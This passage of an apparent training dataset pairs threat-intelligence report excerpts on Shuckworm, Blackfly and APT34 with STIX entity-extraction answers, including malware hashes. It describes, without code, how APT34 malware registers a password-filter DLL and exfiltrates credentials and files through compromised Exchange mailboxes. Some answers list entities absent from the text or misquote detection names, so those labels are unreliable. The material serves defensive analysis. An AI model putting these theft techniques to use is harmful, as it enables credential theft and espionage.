etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
    "output": "<entities>US|Russia|Shuckworm|Russian Federal Security Service|Ukraine|Gamaredon|Armageddon|FSB</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlackfly: Espionage Group Targets Materials Technology\nGroup targets multiple subsidiaries of single Asian conglomerate.\nThe Blackfly espionage group (APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.\n",
    "output": "<entities>Blackfly|Winnti Group|Winnti|APT41|Asia|Bronze Atlas</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUndeterred\nDespite being the subject of a U.S. indictment, Blackfly has continued to mount attacks, seemingly undeterred by the publicity afforded to the group. Although it originally made a name for itself by attacking the gaming sector, the group appears focused on targeting intellectual property in a variety of sectors at present.\n",
    "output": "<entities>U.S.|Blackfly</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLongstanding APT group\nBlackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.\nBlackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.\n",
    "output": "<entities>Blackfly|Korplug|Winnti|Shadowpad|APT41|PlugX/Fast|Grayfly|Winnti/Pasteboy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n",
    "output": "<entities>Process-hollowing tool|Symantec|Mimikatz|Credential-dumping tool|ForkPlayground|d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee|a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac|cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a|DCSync|SQL tool|192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284|498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1|88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4|714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196|f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f|Screenshotting tool|560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a|5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f|b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c|caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459|Proxy configuration tool|452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4|100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c|Winnkit|4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d|1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e|a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864|e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n",
    "output": "<entities>Process-hollowing tool|Mimikatz|Windows|Credential-dumping tool|ForkPlayground|d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee|Blackfly|a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac|cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a|SQL tool|192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284|498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1|88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4|714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196|f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f|Screenshotting tool|5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f|b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c|conf.dat|caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459|Proxy configuration tool|452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4|Conf.dat|1.bin|ForkLib|100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c|Winnkit|4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d|1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e|a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864|e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596|lsass.exe|svchost.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOn December 2022, we identified a suspicious executable (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) that was dropped and executed on multiple machines. Our investigation led us to link this attack to advanced persistent threat (APT) group APT34, and the main goal is to steal users\u2019 credentials. Even in case of a password reset or change, the malware is capable of sending the new credentials to the threat actors. Moreover, after analyzing the backdoor variant deployed, we found the malware capable of new exfiltration techniques \u2014 the abuse of compromised mailbox accounts to send stolen data from the internal mail boxes to external mail accounts controlled by the attackers. While not new as a technique, this is the first instance that APT34 used this for their campaign deployment. Following this analysis, it is highly likely that this campaign\u2019s routine is only a small part of a bigger chain of deployments. Users and organizations are strongly advised to reinforce their current security measures and to be vigilant of the possible vectors abused for compromise.\n",
    "output": "<entities>APT34|Trend Micro|MSIL.REDCAP.A</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRoutine\nIn this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.\n**First Stage: Initial Droppers**\nFigure 1. Initial stage .Net droppers\nWe found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:\n1. %System%\\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification\n2. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.\n3. %ProgramData%\\WindowsSoftwareDevices\\Microsoft.Exchange.WebServices.dll: The library to support the second component\u2019s capability.\n4. %ProgramData%\\WindowsSoftwareDevices\\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.\nFigure 2. The four Base64 encoded buffers inside the main .Net dropper\nFigure 3. The four modules dropped by the main binary\nThe dropper also adds the following registry key to assist in implementing the password filter dropped earlier:\nHKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter\nFigure 4. Adds the registry key\nThe main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.\nFigure 5. Implementing two arguments for operation\nFigure 6. Function in case -u passed to dropper\nFigure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter\n",
    "output": "<entities>Microsoft|Windows|psgfilter.dll|DevicesSrv.exe|Microsoft Exchange|Trend Micro|MSIL.REDCAP.A</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside  to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n",
    "output": "<entities>Microsoft|C&C|APT34|Saudi Arabia|Exfil|Microsoft Exchange|Trend Micro|Excel|China|MSIL.REDCAP.A|Middle East</entities>"
  },
  {
